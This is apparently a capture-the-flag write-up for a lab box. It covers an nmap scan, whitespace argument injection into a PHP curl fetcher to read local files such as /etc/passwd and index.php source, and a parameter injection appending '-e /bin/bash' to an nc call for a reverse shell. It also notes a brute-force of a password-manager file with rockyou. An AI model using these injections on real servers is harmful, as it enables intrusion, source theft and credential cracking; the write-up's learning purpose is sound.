Skip to content

Back

Down

Recon

───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: scans/nmap/default.txt
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    # Nmap 7.94SVN scan initiated Mon Dec 22 19:31:05 2025 as: nmap -sC -sV -oN scans/nmap/default.txt
   3    Host is up (0.33s latency).
   4    Not shown: 998 closed tcp ports (conn-refused)
   5    PORT   STATE SERVICE VERSION
   6    22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
   7    | ssh-hostkey:
   8    |   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
   9    |_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
  10    80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
  11    |_http-title: Is it down or just me?
  12    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  13     14    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  15    # Nmap done at Mon Dec 22 19:31:43 2025 -- 1 IP address (1 host up) scanned in 38.83 seconds
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Web on 80/tcp

by entered my : simply get info from headers that is a curl request

Target exposes a URL-fetch style sink:

  • POST /index.php
  • Parameter: url=...

URL/argument injection concept (whitespace trick)

sink take two arguments / adresses - with http and https protocols all other get filtered

Info

curl with two argumants/adresses fetch both

so go enumerate further:

  • http:// file:///etc/passwd
  • http:// file:///etc/hosts
  • http:// file:///etc/hostname

Important Payload pattern:

  • -d 'url=http:// file:///proc/self/cwd/index.php'

What it’s testing:

  • Naive allowlist checks (^https?://) often only validate the prefix
  • If the backend shells out unsafely (example: curl $url), whitespace can split your input into multiple arguments

How it can land:

  • http:// passes the “allowed scheme” check
  • The tool sees a second URL after the space:
    • file:///proc/self/cwd/index.php
  • Result: potential local file read / source disclosure if file:// is honored

Why /proc/self/cwd/index.php:

  • /proc/self/cwd points to the process’ current working directory
  • Often maps to the app/webroot directory
  • Useful for pulling the running app’s source if local reads are possible

This only works if the server is sloppy (shelling out without proper quoting/escaping). A strict URL parser will normalize or reject it.

Expertmode

  • index.php gives ?expertmode=tcp parameter
  • added it to url redirect to another restricted route

additionally there is $ec = escapeshellcmd("/usr/bin/curl -s $url"); which will prevent command injection, but it will not prevent parameter injection because code turns the string (port) into an int, validates that it’s an int, and then uses the original string:

$port = trim($_POST['port']); $port_int = intval($port); $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);

Only if both are valid does it continue. then it uses nc to connect to the IP / port:

if ( $valid_ip && $valid_port ) { $rc = 255; $output = ''; $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port"); exec($ec . " 2>&1",$output,$rc);

Exploit

  • run nc or penelope and append -e /bin/bash to port and get user shell

Side/Error quest: wordlist decode crash

While running a decrypt/bruteforce helper:

Command:

  • uv run pswm-decrypt.py -f pswmfile -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Error:

  • UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 ...

Cause:

  • rockyou contains bytes that aren’t valid UTF-8

Fix options:

  1. Make the script tolerant:
with open(wordlist, "r", encoding="latin-1", errors="ignore") as f:
    for password in f:
        password = password.strip()
        # try password...

Alternative: errors="replace" if you prefer visible substitutions.

  1. Convert the wordlist once:
iconv -f ISO-8859-1 -t UTF-8 rockyou.txt -o rockyou-utf8.txt

Improved skills

  • Recognizing URL/argument injection via whitespace against shell-out fetchers (curl/wget patterns)
  • Understanding Linux /proc tricks (/proc/self/cwd) for locating app directories

Used tools

  • SecLists (➜ /usr/share/seclists/Passwords/Leaked-Databases/)
  • pswm-decryptor
  • uv add --script pswm-decrypt.py cryptocode prettytable
  • iconv (normalizing encoding when needed)

References (to fill in)

  • Official write-up: (link)
  • Community write-up(s): (link)
  • Docs:
    • curl argument handling / URL schemes
    • Linux /proc notes (/proc/self/cwd)